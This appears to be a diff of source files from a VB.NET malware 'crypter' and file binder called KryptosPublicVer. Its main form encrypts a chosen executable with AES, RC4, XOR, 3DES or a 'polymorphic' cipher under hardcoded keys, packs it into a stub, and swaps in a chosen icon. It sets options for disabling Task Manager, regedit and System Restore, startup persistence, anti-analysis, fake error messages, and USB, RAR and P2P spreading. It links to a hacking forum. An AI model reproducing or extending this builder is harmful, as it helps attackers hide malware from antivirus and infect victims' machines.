MsgBox("Successfullly Binded!", MsgBoxStyle.Information + MsgBoxStyle.OkOnly, "Success")
|
||||
End If
|
||||
End With
|
||||
Catch ex As Exception
|
||||
MsgBox("Something Went Wrong!: " & ex.Message, MsgBoxStyle.Critical + MsgBoxStyle.OkOnly, "Error")
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub CyberButton2_Click(sender As System.Object, e As System.EventArgs) Handles CyberButton2.Click
|
||||
Dim O As New OpenFileDialog
|
||||
With O
|
||||
.FileName = "*.*"
|
||||
.Filter = "All files (*.*)|*.*"
|
||||
.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
|
||||
.Title = "Choose a file..."
|
||||
If .ShowDialog = Windows.Forms.DialogResult.OK Then
|
||||
CyberTextBox1.Text = .FileName
|
||||
XOXOXOXOOXOXOOXOOXOXOOXOXOX = .SafeFileName
|
||||
End If
|
||||
End With
|
||||
End Sub
|
||||
|
||||
Private Sub CyberButton3_Click(sender As System.Object, e As System.EventArgs) Handles CyberButton3.Click
|
||||
Dim O As New OpenFileDialog
|
||||
With O
|
||||
.FileName = "*.*"
|
||||
.Filter = "All files (*.*)|*.*"
|
||||
.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
|
||||
.Title = "Choose a file..."
|
||||
If .ShowDialog = Windows.Forms.DialogResult.OK Then
|
||||
CyberTextBox2.Text = .FileName
|
||||
XOIJSOIJDOIJAOSIDJOIJASD = .SafeFileName
|
||||
End If
|
||||
End With
|
||||
End Sub
|
||||
|
||||
Private Sub CyberButton4_Click(sender As System.Object, e As System.EventArgs) Handles CyberButton4.Click
|
||||
Dim O As New OpenFileDialog
|
||||
With O
|
||||
.FileName = "*.ico*"
|
||||
.Filter = "Icons (*.ico*)|*.ico*"
|
||||
.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
|
||||
.Title = "Choose an icon..."
|
||||
If .ShowDialog = Windows.Forms.DialogResult.OK Then
|
||||
CyberTextBox3.Text = .FileName
|
||||
End If
|
||||
End With
|
||||
End Sub
|
||||
|
||||
|
||||
End Class
|
||||
@@ -0,0 +1,16 @@
|
||||
Public Class CustomXOR
|
||||
|
||||
Public Overridable Function CustomXOR_Encrypt(ByVal Input As String, ByVal pass As String) As String
|
||||
Dim out As New System.Text.StringBuilder
|
||||
Dim Hash As New System.Security.Cryptography.MD5CryptoServiceProvider
|
||||
Dim XorHash As Byte() = Hash.ComputeHash(System.Text.Encoding.ASCII.GetBytes(pass))
|
||||
Dim u As Integer
|
||||
For i As Integer = 0 To Input.Length - 1
|
||||
Dim tmp As String = Hex(Asc(Input(i)) Xor XorHash(u))
|
||||
If tmp.Length = 1 Then tmp = "0" & tmp
|
||||
out.Append(tmp)
|
||||
If u = pass.Length - 1 Then u = 0 Else u = u + 1
|
||||
Next
|
||||
Return out.ToString
|
||||
End Function
|
||||
End Class
|
||||
+1238
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,271 @@
|
||||
Imports System.Text
|
||||
Imports System.Security.Cryptography
|
||||
|
||||
Public Class Form1
|
||||
|
||||
Dim Server, Iconz, BuildString As String
|
||||
Dim taskmanager, regedit, systemrestore, cmder, runmer, rclicker, avwebsites, cpaneler As Boolean
|
||||
Dim meltz, startupz, antisz, fakemsg, installz As Boolean
|
||||
Dim titlz, msgz, directz As String
|
||||
Dim Cryption, showyenc As String
|
||||
Dim usbizzle, rarizzle, p2pizzle As Boolean
|
||||
Dim stub As String
|
||||
|
||||
|
||||
#Region "Buttons"
|
||||
|
||||
Private Sub CyberTopButton1_Click(sender As System.Object, e As System.EventArgs) Handles CloseBtn.Click
|
||||
Me.Close()
|
||||
End Sub
|
||||
|
||||
Private Sub CyberTopButton2_Click(sender As System.Object, e As System.EventArgs) Handles MiniBtn.Click
|
||||
Me.WindowState = FormWindowState.Minimized
|
||||
|
||||
End Sub
|
||||
|
||||
Private Sub CyberButton1_Click(sender As System.Object, e As System.EventArgs) Handles OpenFileBtn.Click
|
||||
Dim ofd As New OpenFileDialog
|
||||
ofd.Filter = "Executables *.exe|*.exe"
|
||||
If ofd.ShowDialog = Windows.Forms.DialogResult.OK Then
|
||||
Server = ofd.FileName
|
||||
InputFileText.Text = ofd.FileName
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub Stub_Click(sender As System.Object, e As System.EventArgs) Handles BtnStub.Click
|
||||
Dim ofd As New OpenFileDialog
|
||||
ofd.Filter = "Executables *.exe|*.exe"
|
||||
ofd.InitialDirectory = Application.StartupPath + "\Stubs"
|
||||
If ofd.ShowDialog = Windows.Forms.DialogResult.OK Then
|
||||
InputStubText.Text = ofd.FileName
|
||||
stub = InputStubText.Text
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub OpenIconBtn_Click(sender As System.Object, e As System.EventArgs) Handles OpenIconBtn.Click
|
||||
|
||||
Dim ofd As New OpenFileDialog
|
||||
ofd.Filter = "Icon *.ico|*.ico"
|
||||
If ofd.ShowDialog = Windows.Forms.DialogResult.OK Then
|
||||
Iconz = ofd.FileName
|
||||
InputIconText.Text = ofd.FileName
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub RandBtn_Click(sender As System.Object, e As System.EventArgs) Handles RandBtn.Click
|
||||
EncKeyText.Text = MyRandom.GenerateRandomString(True, True, True, False, 40)
|
||||
End Sub
|
||||
|
||||
Private Sub CyberButton5_Click(sender As System.Object, e As System.EventArgs) Handles CyberButton5.Click
|
||||
System.Diagnostics.Process.Start("http://www.hackforums.net/private.php?action=send")
|
||||
End Sub
|
||||
|
||||
#End Region
|
||||
|
||||
#Region "CryptBTN"
|
||||
|
||||
Private Sub CryptBtn_Click(sender As System.Object, e As System.EventArgs) Handles CryptBtn.Click
|
||||
|
||||
If InputFileText.Text = "Browse For A File To Crypt..." Then
|
||||
MessageBox.Show("Please Choose A File To Crypt!", "Input A File", MessageBoxButtons.OK, MessageBoxIcon.Exclamation)
|
||||
Exit Sub
|
||||
|
||||
ElseIf InputFileText.Text = "" Then
|
||||
MessageBox.Show("Please Choose A File To Crypt!", "Input A File", MessageBoxButtons.OK, MessageBoxIcon.Exclamation)
|
||||
|
||||
Exit Sub
|
||||
Else
|
||||
End If
|
||||
|
||||
If InputStubText.Text = "Browse For A Stub To Use..." Then
|
||||
MessageBox.Show("Please Choose A Stub!", "Input A Stub", MessageBoxButtons.OK, MessageBoxIcon.Exclamation)
|
||||
Exit Sub
|
||||
ElseIf InputStubText.Text = "" Then
|
||||
MessageBox.Show("Please Choose A Stub!", "Input A Stub", MessageBoxButtons.OK, MessageBoxIcon.Exclamation)
|
||||
Exit Sub
|
||||
Else
|
||||
End If
|
||||
|
||||
If EncKeyText.Text = "Encryption Key" Then
|
||||
MessageBox.Show("Please Generate An Encryption Key!", "Input An Encryption Key", MessageBoxButtons.OK, MessageBoxIcon.Exclamation)
|
||||
Exit Sub
|
||||
ElseIf EncKeyText.Text = "" Then
|
||||
MessageBox.Show("Please Generate An Encryption Key!", "Input An Encryption Key", MessageBoxButtons.OK, MessageBoxIcon.Exclamation)
|
||||
Exit Sub
|
||||
Else
|
||||
End If
|
||||
|
||||
Try
|
||||
Dim sfd1 As New SaveFileDialog
|
||||
sfd1.DefaultExt = "exe"
|
||||
sfd1.Filter = "Executable Files (*.Exe)|*.Exe"
|
||||
If sfd1.ShowDialog = Windows.Forms.DialogResult.OK Then
|
||||
End If
|
||||
|
||||
Dim filein As String
|
||||
FileOpen(1, Server, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
|
||||
filein = Space(LOF(1))
|
||||
FileGet(1, filein)
|
||||
FileClose(1)
|
||||
|
||||
|
||||
IO.File.Copy(stub, sfd1.FileName)
|
||||
|
||||
GetFakeMessage()
|
||||
GetDisables()
|
||||
GetOptions()
|
||||
GetInstallz()
|
||||
|
||||
If AESRadio.Checked = True Then
|
||||
Cryption = "AES"
|
||||
showyenc = "Advanced Encryption Standard"
|
||||
BuildString = "FileLife" & AES.Rijndaelcrypt(filein, "*?Gs&WPC/KmXCbCo{d5.(75e~BG_HPt4[l6,sv)pzVJF$N|{_x{w6-@Ju`cwp/THISISAES") & "FileLife" & Cryption & "FileLife" & taskmanager & "FileLife" & regedit & "FileLife" & systemrestore & "FileLife" & meltz & "FileLife" & startupz & "FileLife" & antisz & "FileLife" & fakemsg & "FileLife" & titlz & "FileLife" & msgz & "FileLife" & installz & "FileLife" & directz & "FileLife" & rarizzle & "FileLife" & usbizzle & "FileLife" & p2pizzle & "FileLife" & antisz
|
||||
ElseIf polystairsradio.Checked = True Then
|
||||
Cryption = "Pstairs"
|
||||
showyenc = "Polymorphic Stair"
|
||||
BuildString = "FileLife" & PolyMorphicStairs.PolyCrypt(filein, "Uj&#j')Nn&G`yMMC_(_ex#'cv`8=0G\{)S*22blV{1/Ntpl,t'zJxn\yY_>q6POLYMORPHICSTARIISSS@@##$@") & "FileLife" & Cryption & "FileLife" & taskmanager & "FileLife" & regedit & "FileLife" & systemrestore & "FileLife" & meltz & "FileLife" & startupz & "FileLife" & antisz & "FileLife" & fakemsg & "FileLife" & titlz & "FileLife" & msgz & "FileLife" & installz & "FileLife" & directz & "FileLife" & rarizzle & "FileLife" & usbizzle & "FileLife" & p2pizzle & "FileLife" & antisz
|
||||
ElseIf xorradio.Checked = True Then
|
||||
Cryption = "XOR"
|
||||
showyenc = "Symmetric and Xor"
|
||||
BuildString = "FileLife" & CustomXOR_Encrypt(filein, "//Salmoneus//") & "FileLife" & Cryption & "FileLife" & taskmanager & "FileLife" & regedit & "FileLife" & systemrestore & "FileLife" & meltz & "FileLife" & startupz & "FileLife" & antisz & "FileLife" & fakemsg & "FileLife" & titlz & "FileLife" & msgz & "FileLife" & installz & "FileLife" & directz & "FileLife" & rarizzle & "FileLife" & usbizzle & "FileLife" & p2pizzle & "FileLife" & antisz
|
||||
ElseIf RC4Radio.Checked = True Then
|
||||
Cryption = "RC4"
|
||||
showyenc = "RC4"
|
||||
BuildString = "FileLife" & RC4.ARC4.rc4(filein, "AJq44U01sKBegSDBlF2rBmpWvIZgHijL3AfDRMEbFQpVwjNS0qSr49P7cgxYaXWAllegded4ofteharcz") & "FileLife" & Cryption & "FileLife" & taskmanager & "FileLife" & regedit & "FileLife" & systemrestore & "FileLife" & meltz & "FileLife" & startupz & "FileLife" & antisz & "FileLife" & fakemsg & "FileLife" & titlz & "FileLife" & msgz & "FileLife" & installz & "FileLife" & directz & "FileLife" & rarizzle & "FileLife" & usbizzle & "FileLife" & p2pizzle & "FileLife" & antisz
|
||||
ElseIf desradio.Checked = True Then
|
||||
Cryption = "3DES"
|
||||
showyenc = "Triple DES"
|
||||
BuildString = "FileLife" & _3DES.Encrypt(filein, "9oBha4fSkcqM4BdroQ4nQtac1cjNqVxW6jGIkpadhOqUDAogOLMyCAkKKLG6eOBTRiple3des!@mofthaefuckerrrzE4A8FA35B33A075F1BD9606778B5D527B2863F1D6C5516DF71C1D939B442E007", True) & "FileLife" & Cryption & "FileLife" & taskmanager & "FileLife" & regedit & "FileLife" & systemrestore & "FileLife" & meltz & "FileLife" & startupz & "FileLife" & antisz & "FileLife" & fakemsg & "FileLife" & titlz & "FileLife" & msgz & "FileLife" & installz & "FileLife" & directz & "FileLife" & rarizzle & "FileLife" & usbizzle & "FileLife" & p2pizzle & "FileLife" & antisz
|
||||
Else : Exit Sub
|
||||
End If
|
||||
|
||||
Dim StringtoByte As Byte() = Encoding.Default.GetBytes(BuildString)
|
||||
|
||||
ResourceWriter.WriteResource(sfd1.FileName, StringtoByte)
|
||||
|
||||
If InputIconText.Text = "Browse For An Icon To Use..." Then
|
||||
ElseIf InputIconText.Text = "" Then
|
||||
Else : IconChanger.InjectIcon(sfd1.FileName, Iconz)
|
||||
End If
|
||||
|
||||
MessageBox.Show("File Has Been Encrypted Using The " + showyenc + " Cipher!", "File Encrypted Succesfully", MessageBoxButtons.OK, MessageBoxIcon.Information)
|
||||
|
||||
Catch ex As Exception
|
||||
|
||||
MessageBox.Show(":( Something Went Wrong!", "Ooops!", MessageBoxButtons.OK, MessageBoxIcon.Error)
|
||||
|
||||
End Try
|
||||
|
||||
End Sub
|
||||
#End Region
|
||||
|
||||
#Region "Xor"
|
||||
Public Function CustomXOR_Encrypt(ByVal Input As String, ByVal pass As String) As String
|
||||
Dim out As New System.Text.StringBuilder
|
||||
Dim Hash As New System.Security.Cryptography.MD5CryptoServiceProvider
|
||||
Dim XorHash As Byte() = Hash.ComputeHash(System.Text.Encoding.ASCII.GetBytes(pass))
|
||||
Dim u As Integer
|
||||
For i As Integer = 0 To Input.Length - 1
|
||||
Dim tmp As String = Hex(Asc(Input(i)) Xor XorHash(u))
|
||||
If tmp.Length = 1 Then tmp = "0" & tmp
|
||||
out.Append(tmp)
|
||||
If u = pass.Length - 1 Then u = 0 Else u = u + 1
|
||||
Next
|
||||
Return out.ToString
|
||||
End Function
|
||||
#End Region
|
||||
|
||||
#Region "ByteArray"
|
||||
Public Shared Function StrToByteArray(str As String) As Byte()
|
||||
|
||||
Dim encoding As New System.Text.ASCIIEncoding()
|
||||
|
||||
Return encoding.GetBytes(str)
|
||||
|
||||
End Function
|
||||
#End Region
|
||||
|
||||
#Region "Installz"
|
||||
Public Sub GetInstallz()
|
||||
If InstallCheck.CheckedState = True Then
|
||||
installz = True
|
||||
directz = AppdataDirec.Text
|
||||
Else : installz = False
|
||||
End If
|
||||
End Sub
|
||||
#End Region
|
||||
|
||||
#Region "Dimz3"
|
||||
Public Sub GetFakeMessage()
|
||||
If FakeErrorCheck.CheckedState = True Then
|
||||
fakemsg = True
|
||||
titlz = FETitle.Text
|
||||
msgz = FEMessage.Text
|
||||
Else : fakemsg = False
|
||||
End If
|
||||
End Sub
|
||||
#End Region
|
||||
|
||||
#Region "Dimz2"
|
||||
Public Sub GetOptions()
|
||||
If melt.CheckedState = True Then
|
||||
meltz = True
|
||||
Else : meltz = False
|
||||
End If
|
||||
|
||||
If startup.CheckedState = True Then
|
||||
startupz = True
|
||||
Else : startupz = False
|
||||
End If
|
||||
|
||||
If antis.CheckedState = True Then
|
||||
antisz = True
|
||||
Else : antisz = False
|
||||
End If
|
||||
|
||||
If UsbSpread.CheckedState = True Then
|
||||
usbizzle = True
|
||||
Else : usbizzle = False
|
||||
End If
|
||||
|
||||
If RarCheck.CheckedState = True Then
|
||||
rarizzle = True
|
||||
Else : rarizzle = False
|
||||
End If
|
||||
|
||||
If p2pcheck.CheckedState = True Then
|
||||
p2pizzle = True
|
||||
Else : p2pizzle = False
|
||||
End If
|
||||
|
||||
If antis.CheckedState = True Then
|
||||
antisz = True
|
||||
Else : antisz = False
|
||||
End If
|
||||
|
||||
End Sub
|
||||
#End Region
|
||||
|
||||
#Region "Dimz"
|
||||
Public Sub GetDisables()
|
||||
If Task.CheckedState = True Then
|
||||
taskmanager = True
|
||||
Else : taskmanager = False
|
||||
End If
|
||||
|
||||
If Edit.CheckedState = True Then
|
||||
regedit = True
|
||||
Else : regedit = False
|
||||
End If
|
||||
|
||||
If Restore.CheckedState = True Then
|
||||
systemrestore = True
|
||||
Else : systemrestore = False
|
||||
End If
|
||||
|
||||
|
||||
End Sub
|
||||
#End Region
|
||||
|
||||
End Class
|
||||
|
||||
@@ -0,0 +1,153 @@
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
Option Infer On
|
||||
Imports System.Runtime.InteropServices
|
||||
Imports System.Security
|
||||
Public Class IconChanger
|
||||
<SuppressUnmanagedCodeSecurity()> _
|
||||
Private Class NativeMethods
|
||||
<DllImport("kernel32")> _
|
||||
Public Shared Function BeginUpdateResource( _
|
||||
ByVal fileName As String, _
|
||||
<MarshalAs(UnmanagedType.Bool)> ByVal deleteExistingResources As Boolean) As IntPtr
|
||||
End Function
|
||||
<DllImport("kernel32")> _
|
||||
Public Shared Function UpdateResource( _
|
||||
ByVal hUpdate As IntPtr, _
|
||||
ByVal type As IntPtr, _
|
||||
ByVal name As IntPtr, _
|
||||
ByVal language As Short, _
|
||||
<MarshalAs(UnmanagedType.LPArray, SizeParamIndex:=5)> _
|
||||
ByVal data() As Byte, _
|
||||
ByVal dataSize As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean
|
||||
End Function
|
||||
<DllImport("kernel32")> _
|
||||
Public Shared Function EndUpdateResource( _
|
||||
ByVal hUpdate As IntPtr, _
|
||||
<MarshalAs(UnmanagedType.Bool)> ByVal discard As Boolean) As <MarshalAs(UnmanagedType.Bool)> Boolean
|
||||
End Function
|
||||
End Class
|
||||
<StructLayout(LayoutKind.Sequential)> _
|
||||
Private Structure ICONDIR
|
||||
Public Reserved As UShort
|
||||
Public Type As UShort
|
||||
Public Count As UShort
|
||||
End Structure
|
||||
<StructLayout(LayoutKind.Sequential)> _
|
||||
Private Structure ICONDIRENTRY
|
||||
Public Width As Byte
|
||||
Public Height As Byte
|
||||
Public ColorCount As Byte
|
||||
Public Reserved As Byte
|
||||
Public Planes As UShort
|
||||
Public BitCount As UShort
|
||||
Public BytesInRes As Integer
|
||||
Public ImageOffset As Integer
|
||||
End Structure
|
||||
<StructLayout(LayoutKind.Sequential)> _
|
||||
Private Structure BITMAPINFOHEADER
|
||||
Public Size As UInteger
|
||||
Public Width As Integer
|
||||
Public Height As Integer
|
||||
Public Planes As UShort
|
||||
Public BitCount As UShort
|
||||
Public Compression As UInteger
|
||||
Public SizeImage As UInteger
|
||||
Public XPelsPerMeter As Integer
|
||||
Public YPelsPerMeter As Integer
|
||||
Public ClrUsed As UInteger
|
||||
Public ClrImportant As UInteger
|
||||
End Structure
|
||||
<StructLayout(LayoutKind.Sequential, Pack:=2)> _
|
||||
Private Structure GRPICONDIRENTRY
|
||||
Public Width As Byte
|
||||
Public Height As Byte
|
||||
Public ColorCount As Byte
|
||||
Public Reserved As Byte
|
||||
Public Planes As UShort
|
||||
Public BitCount As UShort
|
||||
Public BytesInRes As Integer
|
||||
Public ID As UShort
|
||||
End Structure
|
||||
Public Shared Sub InjectIcon(ByVal exeFileName As String, ByVal iconFileName As String)
|
||||
InjectIcon(exeFileName, iconFileName, 1, 1)
|
||||
End Sub
|
||||
Public Shared Sub InjectIcon(ByVal exeFileName As String, ByVal iconFileName As String, ByVal iconGroupID As UInteger, ByVal iconBaseID As UInteger)
|
||||
Const RT_ICON As UInteger = 3UI
|
||||
Const RT_GROUP_ICON As UInteger = 14UI
|
||||
Dim iconFile As IconFile = iconFile.FromFile(iconFileName)
|
||||
Dim hUpdate = NativeMethods.BeginUpdateResource(exeFileName, False)
|
||||
Dim data = iconFile.CreateIconGroupData(iconBaseID)
|
||||
NativeMethods.UpdateResource(hUpdate, New IntPtr(RT_GROUP_ICON), New IntPtr(iconGroupID), 0, data, data.Length)
|
||||
For i = 0 To iconFile.ImageCount - 1
|
||||
Dim image = iconFile.ImageData(i)
|
||||
NativeMethods.UpdateResource(hUpdate, New IntPtr(RT_ICON), New IntPtr(iconBaseID + i), 0, image, image.Length)
|
||||
Next
|
||||
NativeMethods.EndUpdateResource(hUpdate, False)
|
||||
End Sub
|
||||
Private Class IconFile
|
||||
Private iconDir As New ICONDIR
|
||||
Private iconEntry() As ICONDIRENTRY
|
||||
Private iconImage()() As Byte
|
||||
Public ReadOnly Property ImageCount() As Integer
|
||||
Get
|
||||
Return iconDir.Count
|
||||
End Get
|
||||
End Property
|
||||
Public ReadOnly Property ImageData(ByVal index As Integer) As Byte()
|
||||
Get
|
||||
Return iconImage(index)
|
||||
End Get
|
||||
End Property
|
||||
Private Sub New()
|
||||
End Sub
|
||||
Public Shared Function FromFile(ByVal filename As String) As IconFile
|
||||
Dim instance As New IconFile
|
||||
Dim fileBytes() As Byte = IO.File.ReadAllBytes(filename)
|
||||
Dim pinnedBytes = GCHandle.Alloc(fileBytes, GCHandleType.Pinned)
|
||||
instance.iconDir = DirectCast(Marshal.PtrToStructure(pinnedBytes.AddrOfPinnedObject, GetType(ICONDIR)), ICONDIR)
|
||||
instance.iconEntry = New ICONDIRENTRY(instance.iconDir.Count - 1) {}
|
||||
instance.iconImage = New Byte(instance.iconDir.Count - 1)() {}
|
||||
Dim offset = Marshal.SizeOf(instance.iconDir)
|
||||
Dim iconDirEntryType = GetType(ICONDIRENTRY)
|
||||
Dim size = Marshal.SizeOf(iconDirEntryType)
|
||||
For i = 0 To instance.iconDir.Count - 1
|
||||
Dim entry = DirectCast(Marshal.PtrToStructure(New IntPtr(pinnedBytes.AddrOfPinnedObject.ToInt64 + offset), iconDirEntryType), ICONDIRENTRY)
|
||||
instance.iconEntry(i) = entry
|
||||
instance.iconImage(i) = New Byte(entry.BytesInRes - 1) {}
|
||||
Buffer.BlockCopy(fileBytes, entry.ImageOffset, instance.iconImage(i), 0, entry.BytesInRes)
|
||||
offset += size
|
||||
Next
|
||||
pinnedBytes.Free()
|
||||
Return instance
|
||||
End Function
|
||||
Public Function CreateIconGroupData(ByVal iconBaseID As UInteger) As Byte()
|
||||
Dim sizeOfIconGroupData As Integer = Marshal.SizeOf(GetType(ICONDIR)) + Marshal.SizeOf(GetType(GRPICONDIRENTRY)) * ImageCount
|
||||
Dim data(sizeOfIconGroupData - 1) As Byte
|
||||
Dim pinnedData = GCHandle.Alloc(data, GCHandleType.Pinned)
|
||||
Marshal.StructureToPtr(iconDir, pinnedData.AddrOfPinnedObject, False)
|
||||
Dim offset = Marshal.SizeOf(iconDir)
|
||||
For i = 0 To ImageCount - 1
|
||||
Dim grpEntry As New GRPICONDIRENTRY
|
||||
Dim bitmapheader As New BITMAPINFOHEADER
|
||||
Dim pinnedBitmapInfoHeader = GCHandle.Alloc(bitmapheader, GCHandleType.Pinned)
|
||||
Marshal.Copy(ImageData(i), 0, pinnedBitmapInfoHeader.AddrOfPinnedObject, Marshal.SizeOf(GetType(BITMAPINFOHEADER)))
|
||||
pinnedBitmapInfoHeader.Free()
|
||||
grpEntry.Width = iconEntry(i).Width
|
||||
grpEntry.Height = iconEntry(i).Height
|
||||
grpEntry.ColorCount = iconEntry(i).ColorCount
|
||||
grpEntry.Reserved = iconEntry(i).Reserved
|
||||
grpEntry.Planes = bitmapheader.Planes
|
||||
grpEntry.BitCount = bitmapheader.BitCount
|
||||
grpEntry.BytesInRes = iconEntry(i).BytesInRes
|
||||
grpEntry.ID = CType(iconBaseID + i, UShort)
|
||||
Marshal.StructureToPtr(grpEntry, New IntPtr(pinnedData.AddrOfPinnedObject.ToInt64 + offset), False)
|
||||
offset += Marshal.SizeOf(GetType(GRPICONDIRENTRY))
|
||||
Next
|
||||
pinnedData.Free()
|
||||
Return data
|
||||
End Function
|
||||
End Class
|
||||
End Class
|
||||
|
||||
|
||||
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 10.00
|
||||
# Visual Basic Express 2008
|
||||
Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "KryptosPublicVer", "KryptosPublicVer.vbproj", "{06FB7DA5-2621-4484-AF28-518B558A0637}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{06FB7DA5-2621-4484-AF28-518B558A0637}.Debug|x86.ActiveCfg = Debug|x86
|
||||
{06FB7DA5-2621-4484-AF28-518B558A0637}.Debug|x86.Build.0 = Debug|x86
|
||||
{06FB7DA5-2621-4484-AF28-518B558A0637}.Release|x86.ActiveCfg = Release|x86
|
||||
{06FB7DA5-2621-4484-AF28-518B558A0637}.Release|x86.Build.0 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
Binary file not shown.
@@ -0,0 +1,170 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">x86</Platform>
|
||||
<ProductVersion>
|
||||
</ProductVersion>
|
||||
<SchemaVersion>2.0</SchemaVersion>
|
||||
<ProjectGuid>{06FB7DA5-2621-4484-AF28-518B558A0637}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<StartupObject>KryptosPublicVer.My.MyApplication</StartupObject>
|
||||
<RootNamespace>KryptosPublicVer</RootNamespace>
|
||||
<AssemblyName>KryptosPublicVer</AssemblyName>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
<MyType>WindowsForms</MyType>
|
||||
<TargetFrameworkVersion>v2.0</TargetFrameworkVersion>
|
||||
<TargetFrameworkProfile>
|
||||
</TargetFrameworkProfile>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|x86' ">
|
||||
<PlatformTarget>x86</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<DefineDebug>true</DefineDebug>
|
||||
<DefineTrace>true</DefineTrace>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DocumentationFile>KryptosPublicVer.xml</DocumentationFile>
|
||||
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|x86' ">
|
||||
<PlatformTarget>x86</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<DefineDebug>false</DefineDebug>
|
||||
<DefineTrace>true</DefineTrace>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DocumentationFile>KryptosPublicVer.xml</DocumentationFile>
|
||||
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<OptionExplicit>On</OptionExplicit>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<OptionCompare>Binary</OptionCompare>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<OptionStrict>Off</OptionStrict>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<OptionInfer>On</OptionInfer>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<ApplicationIcon>Secure.ico</ApplicationIcon>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Data" />
|
||||
<Reference Include="System.Deployment" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
<Reference Include="System.Xml" />
|
||||
<Reference Include="System.Core" />
|
||||
<Reference Include="System.Xml.Linq" />
|
||||
<Reference Include="System.Data.DataSetExtensions" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Import Include="Microsoft.VisualBasic" />
|
||||
<Import Include="System" />
|
||||
<Import Include="System.Collections" />
|
||||
<Import Include="System.Collections.Generic" />
|
||||
<Import Include="System.Data" />
|
||||
<Import Include="System.Drawing" />
|
||||
<Import Include="System.Diagnostics" />
|
||||
<Import Include="System.Windows.Forms" />
|
||||
<Import Include="System.Linq" />
|
||||
<Import Include="System.Xml.Linq" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="3DES.vb" />
|
||||
<Compile Include="AES.vb" />
|
||||
<Compile Include="Binder.Designer.vb">
|
||||
<DependentUpon>Binder.vb</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="Binder.vb">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="CustomXOR.vb" />
|
||||
<Compile Include="Form1.vb">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Form1.Designer.vb">
|
||||
<DependentUpon>Form1.vb</DependentUpon>
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="IconInject.vb" />
|
||||
<Compile Include="MainWindow.Designer.vb">
|
||||
<DependentUpon>MainWindow.vb</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="MainWindow.vb">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="My Project\AssemblyInfo.vb" />
|
||||
<Compile Include="My Project\Application.Designer.vb">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DependentUpon>Application.myapp</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="My Project\Resources.Designer.vb">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DesignTime>True</DesignTime>
|
||||
<DependentUpon>Resources.resx</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="My Project\Settings.Designer.vb">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DependentUpon>Settings.settings</DependentUpon>
|
||||
<DesignTimeSharedInput>True</DesignTimeSharedInput>
|
||||
</Compile>
|
||||
<Compile Include="MyRandom.vb" />
|
||||
<Compile Include="PStaris.vb" />
|
||||
<Compile Include="RC4.vb" />
|
||||
<Compile Include="StarChased.vb" />
|
||||
<Compile Include="Theme.vb">
|
||||
<SubType>Component</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Theme2.vb">
|
||||
<SubType>Component</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Write.vb" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="Binder.resx">
|
||||
